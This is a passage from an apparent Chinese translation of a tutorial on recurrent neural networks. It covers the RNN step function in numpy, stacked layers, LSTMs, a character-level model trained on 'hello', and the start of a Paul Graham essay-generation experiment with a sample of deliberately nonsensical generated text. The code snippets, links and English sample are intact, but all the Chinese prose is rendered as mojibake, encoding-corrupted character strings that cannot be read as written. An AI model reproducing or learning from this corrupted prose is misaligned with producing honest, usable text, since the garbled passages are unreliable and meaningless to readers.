al](https://arxiv.org/abs/1502.04623)๏ผ‰ใ€‚\n\n---\n\n![](http://karpathy.github.io/assets/rnn/house_read.gif)![](http://karpathy.github.io/assets/rnn/house_generate.gif)\n\nๅทฆ่พน๏ผšRNNๅญฆไผšๅฆ‚ไฝ•้˜…่ฏปๅปบ็ญ‘็‰ฉ้—จ็‰Œๅทใ€‚ๅณ่พน๏ผšRNNๅญฆไผš็ป˜ๅ‡บๅปบ็ญ‘้—จ็‰Œๅทใ€‚ \n\n---\n\nๅฟ…้กป็†่งฃๅˆฐ็š„ไธ€็‚นๅฐฑๆ˜ฏ๏ผšๅณไฝฟๆ•ฐๆฎไธๆ˜ฏๅบๅˆ—็š„ๅฝขๅผ๏ผŒไป็„ถๅฏไปฅๆž„ๅปบๅนถ่ฎญ็ปƒๅ‡บ่ƒฝๅคŸ่ฟ›่กŒๅบๅˆ—ๅŒ–ๅค„็†ๆ•ฐๆฎ็š„ๅผบๅคงๆจกๅž‹ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒไฝ ๆ˜ฏ่ฆ่ฎฉๆจกๅž‹ๅญฆไน ๅˆฐไธ€ไธชๅค„็†ๅ›บๅฎšๅฐบๅฏธๆ•ฐๆฎ็š„ๅˆ†้˜ถๆฎต็จ‹ๅบใ€‚\n\n\n\n**RNN็š„่ฎก็ฎ—**ใ€‚้‚ฃไนˆRNNๅˆฐๅบ•ๆ˜ฏๅฆ‚ไฝ•ๅทฅไฝœ็š„ๅ‘ข๏ผŸๅœจๅ…ถๆ ธๅฟƒ๏ผŒRNNๆœ‰ไธ€ไธช่ฒŒไผผ็ฎ€ๅ•็š„API๏ผšๅฎƒๆŽฅๆ”ถ่พ“ๅ…ฅๅ‘้‡**x**๏ผŒ่ฟ”ๅ›ž่พ“ๅ‡บๅ‘้‡**y**ใ€‚็„ถ่€Œ่ฟ™ไธช่พ“ๅ‡บๅ‘้‡็š„ๅ†…ๅฎนไธไป…่ขซ่พ“ๅ…ฅๆ•ฐๆฎๅฝฑๅ“๏ผŒ่€Œไธ”ไผšๆ”ถๅˆฐๆ•ดไธชๅŽ†ๅฒ่พ“ๅ…ฅ็š„ๅฝฑๅ“ใ€‚ๅ†™ๆˆไธ€ไธช็ฑป็š„่ฏ๏ผŒRNN็š„APIๅชๅŒ…ๅซไบ†ไธ€ไธช**step**ๆ–นๆณ•๏ผš\n\n```python\nrnn = RNN()\ny = rnn.step(x) # x is an input vector, y is the RNN's output vector\n```\n\nๆฏๅฝ“**step**ๆ–นๆณ•่ขซ่ฐƒ็”จ็š„ๆ—ถๅ€™๏ผŒRNN็š„ๅ†…้ƒจ็Šถๆ€ๅฐฑ่ขซๆ›ดๆ–ฐใ€‚ๅœจๆœ€็ฎ€ๅ•ๆƒ…ๅ†ตไธ‹๏ผŒ่ฏฅๅ†…้ƒจ่ฃ…็€ไป…ๅŒ…ๅซไธ€ไธชๅ†…้ƒจ*้šๅ‘้‡h*ใ€‚ไธ‹้ขๆ˜ฏไธ€ไธชๆ™ฎ้€šRNN็š„stepๆ–นๆณ•็š„ๅฎž็Žฐ๏ผš\n\n```python\nclass RNN:\n # ...\n def step(self, x):\n # update the hidden state\n self.h = np.tanh(np.dot(self.W_hh, self.h) + np.dot(self.W_xh, x))\n # compute the output vector\n y = np.dot(self.W_hy, self.h)\n return y\n```\n\nไธŠ้ข็š„ไปฃ็ ่ฏฆ็ป†่ฏดๆ˜Žไบ†ๆ™ฎ้€šRNN็š„ๅ‰ๅ‘ไผ ๆ’ญใ€‚่ฏฅRNN็š„ๅ‚ๆ•ฐๆ˜ฏไธ‰ไธช็Ÿฉ้˜ต๏ผš**W_hh, W_xh, W_hy**ใ€‚้š่—็Šถๆ€**self.h**่ขซๅˆๅง‹ๅŒ–ไธบ้›ถๅ‘้‡ใ€‚**np.tanh**ๅ‡ฝๆ•ฐๆ˜ฏไธ€ไธช้ž็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒๅฐ†ๆฟ€ๆดปๆ•ฐๆฎๆŒคๅŽ‹ๅˆฐ[-1,1]ไน‹ๅ†…ใ€‚ๆณจๆ„ไปฃ็ ๆ˜ฏๅฆ‚ไฝ•ๅทฅไฝœ็š„๏ผšๅœจtanhๅ†…ๆœ‰ไธคไธช้ƒจๅˆ†ใ€‚ไธ€ไธชๆ˜ฏๅŸบไบŽๅ‰ไธ€ไธช้š่—็Šถๆ€๏ผŒๅฆไธ€ไธชๆ˜ฏๅŸบไบŽๅฝ“ๅ‰็š„่พ“ๅ…ฅใ€‚ๅœจnumpyไธญ๏ผŒ**np.dot**ๆ˜ฏ่ฟ›่กŒ็Ÿฉ้˜ตไน˜ๆณ•ใ€‚ไธคไธชไธญ้—ดๅ˜้‡็›ธๅŠ ๏ผŒๅ…ถ็ป“ๆžœ่ขซtanhๅค„็†ไธบไธ€ไธชๆ–ฐ็š„็Šถๆ€ๅ‘้‡ใ€‚ๅฆ‚ๆžœไฝ ๆ›ดๅ–œๆฌข็”จๆ•ฐๅญฆๅ…ฌๅผ็†่งฃ๏ผŒ้‚ฃไนˆๅ…ฌๅผๆ˜ฏ่ฟ™ๆ ท็š„๏ผš![h_t=tanh(W_{hh}h_{t-1}+W_{hx}x_t)](https://www.zhihu.com/equation?tex=h_t%3Dtanh%28W_%7Bhh%7Dh_%7Bt-1%7D%2BW_%7Bhx%7Dx_t%29)ใ€‚ๅ…ถไธญtanhๆ˜ฏ้€ๅ…ƒ็ด ่ฟ›่กŒๆ“ไฝœ็š„ใ€‚\n\nๆˆ‘ไปฌไฝฟ็”จ้šๆœบๆ•ฐๅญ—ๆฅๅˆๅง‹ๅŒ–RNN็š„็Ÿฉ้˜ต๏ผŒ่ฟ›่กŒๅคง้‡็š„่ฎญ็ปƒๅทฅไฝœๆฅๅฏปๆ‰พ้‚ฃไบ›่ƒฝๅคŸไบง็”Ÿๆ่ฟฐ่กŒไธบ็š„็Ÿฉ้˜ต๏ผŒไฝฟ็”จไธ€ไบ›ๆŸๅคฑๅ‡ฝๆ•ฐๆฅ่กก้‡ๆ่ฟฐ็š„่กŒไธบ๏ผŒ่ฟ™ไบ›ๆŸๅคฑๅ‡ฝๆ•ฐไปฃ่กจไบ†ๆ นๆฎ่พ“ๅ…ฅ**x**๏ผŒไฝ ๅฏนไบŽๆŸไบ›่พ“ๅ‡บ**y**็š„ๅๅฅฝใ€‚\n\n\n\n**ๆ›ดๆทฑๅฑ‚็ฝ‘็ปœ**ใ€‚RNNๅฑžไบŽ็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•๏ผŒๅฆ‚ๆžœไฝ ๅƒๅ ่–„้ฅผไธ€ๆ ทๅผ€ๅง‹ๅฏนๆจกๅž‹่ฟ›่กŒ้‡ๅ ๆฅ่ฟ›่กŒๆทฑๅบฆๅญฆไน ๏ผŒ้‚ฃไนˆ็ฎ—ๆณ•็š„ๆ€ง่ƒฝไผšๅ•่ฐƒไธŠๅ‡๏ผˆๅฆ‚ๆžœๆฒกๅ‡บๅฒ”ๅญ็š„่ฏ๏ผ‰ใ€‚ไพ‹ๅฆ‚๏ผŒๆˆ‘ไปฌๅฏไปฅๅƒไธ‹้ขไปฃ็ ไธ€ๆ ทๆž„ๅปบไธ€ไธช2ๅฑ‚็š„ๅพช็Žฏ็ฝ‘็ปœ๏ผš\n\n```python\ny1 = rnn1.step(x)\ny = rnn2.step(y1)\n```\n\nๆขๅฅ่ฏ่ฏด๏ผŒๆˆ‘ไปฌๅˆ†ๅˆซๆœ‰ไธคไธชRNN๏ผšไธ€ไธชRNNๆŽฅๅ—่พ“ๅ…ฅๅ‘้‡๏ผŒ็ฌฌไบŒไธชRNNไปฅ็ฌฌไธ€ไธชRNN็š„่พ“ๅ‡บไฝœไธบๅ…ถ่พ“ๅ…ฅใ€‚ๅ…ถๅฎžๅฐฑRNNๆœฌ่บซๆฅ่ฏด๏ผŒๅฎƒไปฌๅนถไธๅœจไนŽ่ฐๆ˜ฏ่ฐ็š„่พ“ๅ…ฅ๏ผš้ƒฝๆ˜ฏๅ‘้‡็š„่ฟ›่ฟ›ๅ‡บๅ‡บ๏ผŒ้ƒฝๆ˜ฏๅœจๅๅ‘ไผ ๆ’ญๆ—ถๆขฏๅบฆ้€š่ฟ‡ๆฏไธชๆจกๅž‹ใ€‚\n\n\n\n**ๆ›ดๅฅฝ็š„็ฝ‘็ปœ**ใ€‚้œ€่ฆ็ฎ€่ฆๆŒ‡ๆ˜Ž็š„ๆ˜ฏๅœจๅฎž่ทตไธญ้€šๅธธไฝฟ็”จ็š„ๆ˜ฏไธ€ไธช็จๆœ‰ไธๅŒ็š„็ฎ—ๆณ•๏ผŒ่ฟ™ๅฐฑๆ˜ฏๆˆ‘ๅœจๅ‰้ขๆๅˆฐ่ฟ‡็š„*้•ฟ็ŸญๅŸบ่ฎฐๅฟ†*็ฝ‘็ปœ๏ผŒ็ฎ€็งฐLSTMใ€‚LSTMๆ˜ฏๅพช็Žฏ็ฝ‘็ปœ็š„ไธ€็ง็‰นๅˆซ็ฑปๅž‹ใ€‚็”ฑไบŽๅ…ถๆ›ดๅŠ ๅผบๅคง็š„ๆ›ดๆ–ฐๆ–น็จ‹ๅ’Œๆ›ดๅฅฝ็š„ๅŠจๆ€ๅๅ‘ไผ ๆ’ญๆœบๅˆถ๏ผŒๅฎƒๅœจๅฎž่ทตไธญๆ•ˆๆžœ่ฆๆ›ดๅฅฝไธ€ไบ›ใ€‚ๆœฌๆ–‡ไธไผš่ฟ›่กŒ็ป†่Š‚ไป‹็ป๏ผŒไฝ†ๆ˜ฏๅœจ่ฏฅ็ฎ—ๆณ•ไธญ๏ผŒๆ‰€ๆœ‰ๆœฌๆ–‡ไป‹็ป็š„ๅ…ณไบŽRNN็š„ๅ†…ๅฎน้ƒฝไธไผšๆ”นๅ˜๏ผŒๅ”ฏไธ€ๆ”นๅ˜็š„ๆ˜ฏ็Šถๆ€ๆ›ดๆ–ฐ๏ผˆๅฐฑๆ˜ฏ**self.h=...**้‚ฃ่กŒไปฃ็ ๏ผ‰ๅ˜ๅพ—ๆ›ดๅŠ ๅคๆ‚ใ€‚ไปŽ่ฟ™้‡Œๅผ€ๅง‹๏ผŒๆˆ‘ไผšๅฐ†ๆœฏ่ฏญRNNๅ’ŒLSTMๆททๅˆไฝฟ็”จ๏ผŒไฝ†ๆ˜ฏๅœจๆœฌๆ–‡ไธญ็š„ๆ‰€ๆœ‰ๅฎž้ชŒ้ƒฝๆ˜ฏ็”จLSTMๅฎŒๆˆ็š„ใ€‚\n\n\n\n## ๅญ—ๆฏ็บงๅˆซ็š„่ฏญ่จ€ๆจกๅž‹\n\n็Žฐๅœจๆˆ‘ไปฌๅทฒ็ป็†่งฃไบ†RNNๆ˜ฏไป€ไนˆ๏ผŒๅฎƒไปฌไฝ•ไปฅไปคไบบๅ…ดๅฅ‹๏ผŒไปฅๅŠๅฎƒไปฌๆ˜ฏๅฆ‚ไฝ•ๅทฅไฝœ็š„ใ€‚็Žฐๅœจ้€š่ฟ‡ไธ€ไธชๆœ‰่ถฃ็š„ๅบ”็”จๆฅๆ›ดๆทฑๅ…ฅๅœฐๅŠ ไปฅไฝ“ไผš๏ผšๆˆ‘ไปฌๅฐ†ๅˆฉ็”จRNN่ฎญ็ปƒไธ€ไธชๅญ—ๆฏ็บงๅˆซ็š„่ฏญ่จ€ๆจกๅž‹ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒ็ป™RNN่พ“ๅ…ฅๅทจ้‡็š„ๆ–‡ๆœฌ๏ผŒ็„ถๅŽ่ฎฉๅ…ถๅปบๆจกๅนถๆ นๆฎไธ€ไธชๅบๅˆ—ไธญ็š„ๅ‰ไธ€ไธชๅญ—ๆฏ๏ผŒ็ป™ๅ‡บไธ‹ไธ€ไธชๅญ—ๆฏ็š„ๆฆ‚็Ž‡ๅˆ†ๅธƒใ€‚่ฟ™ๆ ทๅฐฑไฝฟๅพ—ๆˆ‘ไปฌ่ƒฝๅคŸไธ€ไธชๅญ—ๆฏไธ€ไธชๅญ—ๆฏๅœฐ็”Ÿๆˆๆ–ฐๆ–‡ๆœฌไบ†ใ€‚\n\nๅœจไธ‹้ข็š„ไพ‹ๅญไธญ๏ผŒๅ‡่ฎพๆˆ‘ไปฌ็š„ๅญ—ๆฏ่กจๅช็”ฑ4ไธชๅญ—ๆฏ็ป„ๆˆโ€œheloโ€๏ผŒ็„ถๅŽๅˆฉ็”จ่ฎญ็ปƒๅบๅˆ—โ€œhelloโ€่ฎญ็ปƒRNNใ€‚่ฏฅ่ฎญ็ปƒๅบๅˆ—ๅฎž้™…ไธŠๆ˜ฏ็”ฑ4ไธช่ฎญ็ปƒๆ ทๆœฌ็ป„ๆˆ๏ผš1.ๅฝ“hไธบไธŠๆ–‡ๆ—ถ๏ผŒไธ‹ๆ–‡ๅญ—ๆฏ้€‰ๆ‹ฉ็š„ๆฆ‚็Ž‡ๅบ”่ฏฅๆ˜ฏeๆœ€้ซ˜ใ€‚2.lๅบ”่ฏฅๆ˜ฏhe็š„ไธ‹ๆ–‡ใ€‚3.lๅบ”่ฏฅๆ˜ฏhelๆ–‡ๆœฌ็š„ไธ‹ๆ–‡ใ€‚4.oๅบ”่ฏฅๆ˜ฏhellๆ–‡ๆœฌ็š„ไธ‹ๆ–‡ใ€‚\n\nๅ…ทไฝ“ๆฅ่ฏด๏ผŒๆˆ‘ไปฌๅฐ†ไผšๆŠŠๆฏไธชๅญ—ๆฏ็ผ–็ ่ฟ›ไธ€ไธช1ๅˆฐk็š„ๅ‘้‡๏ผˆ้™คๅฏนๅบ”ๅญ—ๆฏไธบ1ๅค–ๅ…ถไฝ™ไธบ0๏ผ‰๏ผŒ็„ถๅŽๅˆฉ็”จ**step**ๆ–นๆณ•ไธ€ๆฌกไธ€ไธชๅœฐๅฐ†ๅ…ถ่พ“ๅ…ฅ็ป™RNNใ€‚้šๅŽๅฐ†่ง‚ๅฏŸๅˆฐ4็ปดๅ‘้‡็š„ๅบๅˆ—๏ผˆไธ€ไธชๅญ—ๆฏไธ€ไธช็ปดๅบฆ๏ผ‰ใ€‚ๆˆ‘ไปฌๅฐ†่ฟ™ไบ›่พ“ๅ‡บๅ‘้‡็†่งฃไธบRNNๅ…ณไบŽๅบๅˆ—ไธ‹ไธ€ไธชๅญ—ๆฏ้ข„ๆต‹็š„ไฟกๅฟƒ็จ‹ๅบฆใ€‚ไธ‹้ขๆ˜ฏๆต็จ‹ๅ›พ๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/03/5b8d492e318e5.png)\n\nไธ€ไธชRNN็š„ไพ‹ๅญ๏ผš่พ“ๅ…ฅ่พ“ๅ‡บๆ˜ฏ4็ปด็š„ๅฑ‚๏ผŒ้šๅฑ‚็ฅž็ปๅ…ƒๆ•ฐ้‡ๆ˜ฏ3ไธชใ€‚่ฏฅๆต็จ‹ๅ›พๅฑ•็คบไบ†ไฝฟ็”จhellไฝœไธบ่พ“ๅ…ฅๆ—ถ๏ผŒRNNไธญๆฟ€ๆดปๆ•ฐๆฎๅ‰ๅ‘ไผ ๆ’ญ็š„่ฟ‡็จ‹ใ€‚่พ“ๅ‡บๅฑ‚ๅŒ…ๅซ็š„ๆ˜ฏRNNๅ…ณไบŽไธ‹ไธ€ไธชๅญ—ๆฏ้€‰ๆ‹ฉ็š„็ฝฎไฟกๅบฆ๏ผˆๅญ—ๆฏ่กจๆ˜ฏhelo๏ผ‰ใ€‚ๆˆ‘ไปฌๅธŒๆœ›็ปฟ่‰ฒๆ•ฐๅญ—ๅคง๏ผŒ็บข่‰ฒๆ•ฐๅญ—ๅฐใ€‚\n\n---\n\nไธพไพ‹ๅฆ‚ไธ‹๏ผšๅœจ็ฌฌไธ€ๆญฅ๏ผŒRNN็œ‹ๅˆฐไบ†ๅญ—ๆฏhๅŽ๏ผŒ็ป™ๅ‡บไธ‹ไธ€ไธชๅญ—ๆฏ็š„็ฝฎไฟกๅบฆๅˆ†ๅˆซๆ˜ฏhไธบ1๏ผŒeไธบ2.2๏ผŒlไธบ-3.0๏ผŒoไธบ4.1ใ€‚ๅ› ไธบๅœจ่ฎญ็ปƒๆ•ฐๆฎ๏ผˆๅญ—็ฌฆไธฒhello๏ผ‰ไธญไธ‹ไธ€ไธชๆญฃ็กฎ็š„ๅญ—ๆฏๆ˜ฏe๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๅธŒๆœ›ๆ้ซ˜ๅฎƒ็š„็ฝฎไฟกๅบฆ๏ผˆ็ปฟ่‰ฒ๏ผ‰ๅนถ้™ไฝŽๅ…ถไป–ๅญ—ๆฏ็š„็ฝฎไฟกๅบฆ๏ผˆ็บข่‰ฒ๏ผ‰ใ€‚็ฑปไผผ็š„๏ผŒๅœจๆฏไธ€ๆญฅ้ƒฝๆœ‰ไธ€ไธช็›ฎๆ ‡ๅญ—ๆฏ๏ผŒๆˆ‘ไปฌๅธŒๆœ›็ฎ—ๆณ•ๅˆ†้…็ป™่ฏฅๅญ—ๆฏ็š„็ฝฎไฟกๅบฆๅบ”่ฏฅๆ›ดๅคงใ€‚ๅ› ไธบRNNๅŒ…ๅซ็š„ๆ•ดไธชๆ“ไฝœ้ƒฝๆ˜ฏๅฏๅพฎๅˆ†็š„๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๅฏไปฅ้€š่ฟ‡ๅฏน็ฎ—ๆณ•่ฟ›่กŒๅๅ‘ไผ ๆ’ญ๏ผˆๅพฎ็งฏๅˆ†ไธญ้“พๅผๆณ•ๅˆ™็š„้€’ๅฝ’ไฝฟ็”จ๏ผ‰ๆฅๆฑ‚ๅพ—ๆƒ้‡่ฐƒๆ•ด็š„ๆญฃ็กฎๆ–นๅ‘๏ผŒๅœจๆญฃ็กฎๆ–นๅ‘ไธŠๅฏไปฅๆๅ‡ๆญฃ็กฎ็›ฎๆ ‡ๅญ—ๆฏ็š„ๅพ—ๅˆ†๏ผˆ็ปฟ่‰ฒ็ฒ—ไฝ“ๆ•ฐๅญ—๏ผ‰ใ€‚็„ถๅŽ่ฟ›่กŒ*ๅ‚ๆ•ฐๆ›ดๆ–ฐ*๏ผŒๅณๅœจ่ฏฅๆ–นๅ‘ไธŠ่ฝปๅพฎ็งปๅŠจๆƒ้‡ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๅฐ†ๅŒๆ ท็š„ๆ•ฐๆฎ่พ“ๅ…ฅ็ป™RNN๏ผŒๅœจๅ‚ๆ•ฐๆ›ดๆ–ฐๅŽๅฐ†ไผšๅ‘็Žฐๆญฃ็กฎๅญ—ๆฏ็š„ๅพ—ๅˆ†๏ผˆๆฏ”ๅฆ‚็ฌฌไธ€ๆญฅไธญ็š„e๏ผ‰ๅฐ†ไผšๅ˜้ซ˜๏ผˆไพ‹ๅฆ‚ไปŽ2.2ๅ˜ๆˆ2.3๏ผ‰๏ผŒไธๆญฃ็กฎๅญ—ๆฏ็š„ๅพ—ๅˆ†ๅฐ†ไผš้™ไฝŽใ€‚้‡ๅค่ฟ›่กŒไธ€ไธช่ฟ‡็จ‹ๅพˆๅคšๆฌก็›ดๅˆฐ็ฝ‘็ปœๆ”ถๆ•›๏ผŒๅ…ถ้ข„ๆต‹ไธŽ่ฎญ็ปƒๆ•ฐๆฎ่ฟž่ดฏไธ€่‡ด๏ผŒๆ€ปๆ˜ฏ่ƒฝๆญฃ็กฎ้ข„ๆต‹ไธ‹ไธ€ไธชๅญ—ๆฏใ€‚\n\nๆ›ดๆŠ€ๆœฏๆดพ็š„่งฃ้‡Šๆ˜ฏๆˆ‘ไปฌๅฏน่พ“ๅ‡บๅ‘้‡ๅŒๆญฅไฝฟ็”จๆ ‡ๅ‡†็š„Softmaxๅˆ†็ฑปๅ™จ๏ผˆไนŸๅซไฝœไบคๅ‰็†ตๆŸๅคฑ๏ผ‰ใ€‚ไฝฟ็”จๅฐๆ‰น้‡็š„้šๆœบๆขฏๅบฆไธ‹้™ๆฅ่ฎญ็ปƒRNN๏ผŒไฝฟ็”จ[RMSProp](https://arxiv.org/abs/1502.04390)ๆˆ–Adamๆฅ่ฎฉๅ‚ๆ•ฐ็จณๅฎšๆ›ดๆ–ฐใ€‚\n\nๆณจๆ„ๅฝ“ๅญ—ๆฏl็ฌฌไธ€ๆฌก่พ“ๅ…ฅๆ—ถ๏ผŒ็›ฎๆ ‡ๅญ—ๆฏๆ˜ฏl๏ผŒไฝ†็ฌฌไบŒๆฌก็š„็›ฎๆ ‡ๆ˜ฏoใ€‚ๅ› ๆญคRNNไธ่ƒฝๅช้ ่พ“ๅ…ฅๆ•ฐๆฎ๏ผŒๅฟ…้กปไฝฟ็”จๅฎƒ็š„ๅพช็Žฏ่ฟžๆŽฅๆฅไฟๆŒๅฏนไธŠไธ‹ๆ–‡็š„่ทŸ่ธช๏ผŒไปฅๆญคๆฅๅฎŒๆˆไปปๅŠกใ€‚\n\nๅœจ**ๆต‹่ฏ•**ๆ—ถ๏ผŒๆˆ‘ไปฌๅ‘RNN่พ“ๅ…ฅไธ€ไธชๅญ—ๆฏ๏ผŒๅพ—ๅˆฐๅ…ถ้ข„ๆต‹ไธ‹ไธ€ไธชๅญ—ๆฏ็š„ๅพ—ๅˆ†ๅˆ†ๅธƒใ€‚ๆˆ‘ไปฌๆ นๆฎ่ฟ™ไธชๅˆ†ๅธƒๅ–ๅ‡บๅพ—ๅˆ†ๆœ€ๅคง็š„ๅญ—ๆฏ๏ผŒ็„ถๅŽๅฐ†ๅ…ถ่พ“ๅ…ฅ็ป™RNNไปฅๅพ—ๅˆฐไธ‹ไธ€ไธชๅญ—ๆฏใ€‚้‡ๅค่ฟ™ไธช่ฟ‡็จ‹๏ผŒๆˆ‘ไปฌๅฐฑๅพ—ๅˆฐไบ†ๆ–‡ๆœฌ๏ผ็Žฐๅœจไฝฟ็”จไธๅŒ็š„ๆ•ฐๆฎ้›†่ฎญ็ปƒRNN๏ผŒ็œ‹็œ‹ๅฐ†ไผšๅ‘็”Ÿไป€ไนˆใ€‚\n\nไธบไบ†ๆ›ดๅฅฝ็š„่ฟ›่กŒไป‹็ป๏ผŒๆˆ‘ๅŸบไบŽๆ•™ๅญฆ็›ฎ็š„ๅ†™ไบ†ไปฃ็ ๏ผš[minimal character-level RNN language model in Python/numpy](https://gist.github.com/karpathy/d4dee566867f8291f086)๏ผŒๅฎƒๅชๆœ‰100ๅคš่กŒใ€‚ๅฆ‚ๆžœไฝ ๆ›ดๅ–œๆฌข่ฏปไปฃ็ ๏ผŒ้‚ฃไนˆๅธŒๆœ›ๅฎƒ่ƒฝ็ป™ไฝ ไธ€ไธชๆ›ด็ฎ€ๆด็›ด่ง‚็š„ๅฐ่ฑกใ€‚ๆˆ‘ไปฌไธ‹้ขไป‹็ปๅฎž้ชŒ็ป“ๆžœ๏ผŒ่ฟ™ไบ›ๅฎž้ชŒๆ˜ฏ็”จๆ›ด้ซ˜ๆ•ˆ็š„Lua/Torchไปฃ็ ๅฎž็Žฐ็š„ใ€‚\n\n\n\n## RNN็š„ไน่ถฃ\n\nไธ‹้ขไป‹็ป็š„5ไธชๅญ—ๆฏๆจกๅž‹ๆˆ‘้ƒฝๆ”พๅœจGithubไธŠ็š„[้กน็›ฎ](https://github.com/karpathy/char-rnn)้‡Œไบ†ใ€‚ๆฏไธชๅฎž้ชŒไธญ็š„่พ“ๅ…ฅ้ƒฝๆ˜ฏไธ€ไธชๅธฆๆœ‰ๆ–‡ๆœฌ็š„ๆ–‡ไปถ๏ผŒๆˆ‘ไปฌ่ฎญ็ปƒRNN่ฎฉๅฎƒ่ƒฝๅคŸ้ข„ๆต‹ๅบๅˆ—ไธญไธ‹ไธ€ไธชๅญ—ๆฏใ€‚\n\n\n\n### Paul Graham็”Ÿๆˆๅ™จ\n\n่ฏ‘่€…ๆณจ๏ผšไธญๆ–‡ๅไธ€่ˆฌ่ฏ‘ไธบไฟ็ฝ—โ€ขๆ ผ้›ทๅŽ„ๅง†๏ผŒ่‘—ๆœ‰ใ€Š้ป‘ๅฎขไธŽ็”ปๅฎถใ€‹ไธ€ไนฆ๏ผŒไธญๆ–‡็‰ˆๅทฒ้ขไธ–ใ€‚ๅœจๅบทๅฅˆๅฐ”ๅคงๅญฆ่ฏปๅฎŒๆœฌ็ง‘๏ผŒๅœจๅ“ˆไฝ›ๅคงๅญฆ่Žทๅพ—่ฎก็ฎ—ๆœบ็ง‘ๅญฆๅšๅฃซๅญฆไฝใ€‚1995ๅนด๏ผŒๅˆ›ๅŠžไบ†Viawebใ€‚1998ๅนด๏ผŒYahoo!ๆ”ถ่ดญไบ†Viaweb๏ผŒๆ”ถ่ดญไปท็บฆ5000ไธ‡็พŽๅ…ƒใ€‚ๆญคๅŽๆžถ่ตทไบ†ไธชไบบ็ฝ‘็ซ™[http://paulgraham.com](http://paulgraham.com)๏ผŒๅœจไธŠ้ขๆ’ฐๅ†™ๅ…ณไบŽ่ฝฏไปถๅ’Œๅˆ›ไธš็š„ๆ–‡็ซ ๏ผŒไปฅๆทฑๅˆป็š„่ง่งฃๅ’Œๆธ…ๆ™ฐ็š„่กจ่พพ่€Œ่‘—็งฐใ€‚2005ๅนด๏ผŒๅˆ›ๅปบไบ†้ฃŽ้™ฉๆŠ•่ต„ๅ…ฌๅธY Combinator๏ผŒ็›ฎๅ‰ๅทฒ็ป่ต„ๅŠฉไบ†80ๅคšๅฎถๅˆ›ไธšๅ…ฌๅธใ€‚็Žฐๅœจ๏ผŒไป–ๆ˜ฏๅ…ฌ่ฎค็š„ไบ’่”็ฝ‘ๅˆ›ไธšๆƒๅจใ€‚\n\n่ฎฉๆˆ‘ไปฌๅ…ˆๆฅ่ฏ•ไธ€ไธชๅฐ็š„่‹ฑๆ–‡ๆ•ฐๆฎ้›†ๆฅ่ฟ›่กŒๆญฃ็กฎๆ€งๆฃ€ๆŸฅใ€‚ๆˆ‘ๆœ€ๅ–œๆฌข็š„ๆ•ฐๆฎ้›†ๆ˜ฏ[Paul Graham็š„ๆ–‡้›†](http://www.paulgraham.com/articles.html)ใ€‚ๅ…ถๅŸบๆœฌๆ€่ทฏๆ˜ฏๅœจ่ฟ™ไบ›ๆ–‡็ซ ไธญๅ……ๆปกๆ™บๆ…ง๏ผŒไฝ†Paul Graham็š„ๅ†™ไฝœ้€Ÿๅบฆๆฏ”่พƒๆ…ข๏ผŒ่ฆๆ˜ฏ่ƒฝๆ นๆฎ้œ€ๆฑ‚็”ŸๆˆๅฏŒไบŽๅˆ›ไธšๆ™บๆ…ง็š„ๆ–‡็ซ ๅฒ‚ไธ็พŽๅ“‰๏ผŸ้‚ฃไนˆๅฐฑ่ฝฎๅˆฐRNNไธŠๅœบไบ†ใ€‚\n\nๅฐ†Paul Grahamๆœ€่ฟ‘5ๅนด็š„ๆ–‡็ซ ๆ”ถ้›†่ตทๆฅ๏ผŒๅพ—ๅˆฐๅคงๅฐ็บฆ1MB็š„ๆ–‡ๆœฌๆ–‡ไปถ๏ผŒ็บฆๆœ‰1็™พไธ‡ไธชๅญ—็ฌฆ๏ผˆ่ฟ™ๅช็ฎ—ไธชๅพˆๅฐ็š„ๆ•ฐๆฎ้›†๏ผ‰ใ€‚*ๆŠ€ๆœฏ่ฆ็‚น*๏ผš่ฎญ็ปƒไธ€ไธช2ๅฑ‚็š„LSTM๏ผŒๅ„ๅซ512ไธช้š่Š‚็‚น๏ผˆ็บฆ350ไธ‡ไธชๅ‚ๆ•ฐ๏ผ‰๏ผŒๆฏๅฑ‚ไน‹ๅŽไฝฟ็”จ0.5็š„dropoutใ€‚ๆฏไธชๆ•ฐๆฎๆ‰น้‡ไธญๅซ100ไธชๆ ทๆœฌ๏ผŒๆ—ถ้—ด้•ฟๅบฆไธŠๆˆชๆ–ญไบ†100ไธชๅญ—็ฌฆ่ฟ›่กŒๆขฏๅบฆ็š„ๅๅ‘ไผ ๆ’ญใ€‚ๆŒ‰็…งไธŠ่ฟฐ่ฎพ็ฝฎ๏ผŒๆฏไธชๆ•ฐๆฎๆ‰น้‡ๅœจTITAN GPUไธŠ็š„่ฟ็ฎ—่€—ๆ—ถไธบ0.46็ง’๏ผˆๅฆ‚ๆžœไป…ๅฏน50ไธชๅญ—็ฌฆ่ฟ›่กŒBPTT๏ผŒ้‚ฃไนˆ่€—ๆ—ถไผšๅ‡ๅŠ๏ผŒๆ€ง่ƒฝ็š„่€—่ดนๅ‡ ไนŽๅฟฝ็•ฅไธ่ฎก๏ผ‰ใ€‚*่ฏ‘่€…ๆณจ๏ผšBPTTๅณBackpropagation Through Time*ใ€‚ไธๅœจๅ•ฐๅ—ฆ๏ผŒ่ฎฉๆˆ‘ไปฌ็œ‹็œ‹RNN็”Ÿๆˆ็š„ๆ–‡ๆœฌ๏ผš\n\n*โ€œThe surprised in investors werenโ€™t going to raise money. Iโ€™m not the company with the time there are all interesting quickly, donโ€™t have to get off the same programmers. Thereโ€™s a super-angel round fundraising, why do you can do. If you have a different physical investment are become in people who reduced in a startup with the way to argument the acquirer could see them just that youโ€™re also the founders will part of usersโ€™ affords that and an alternation to the idea. [2] Donโ€™t work at first member to see the way kids will seem in advance of a bad successful startup. And if you have to act the big company too.โ€*\n\nๅฅฝๅง๏ผŒๆ˜พ็„ถ็”Ÿๆˆๅ™จๆš‚ๆ—ถ่ฟ˜ๆ— ๆณ•ๆ›ฟไปฃPaul Graham๏ผŒไฝ†ๆ˜ฏRNNๅฏๆ˜ฏๅฎŒๅ…จไปŽๅคดๅผ€ๅง‹ๅญฆ่‹ฑ่ฏญ็š„๏ผˆๅŒ…ๆ‹ฌ้€—ๅท๏ผŒๆ’‡ๅทๅ’Œ็ฉบๆ 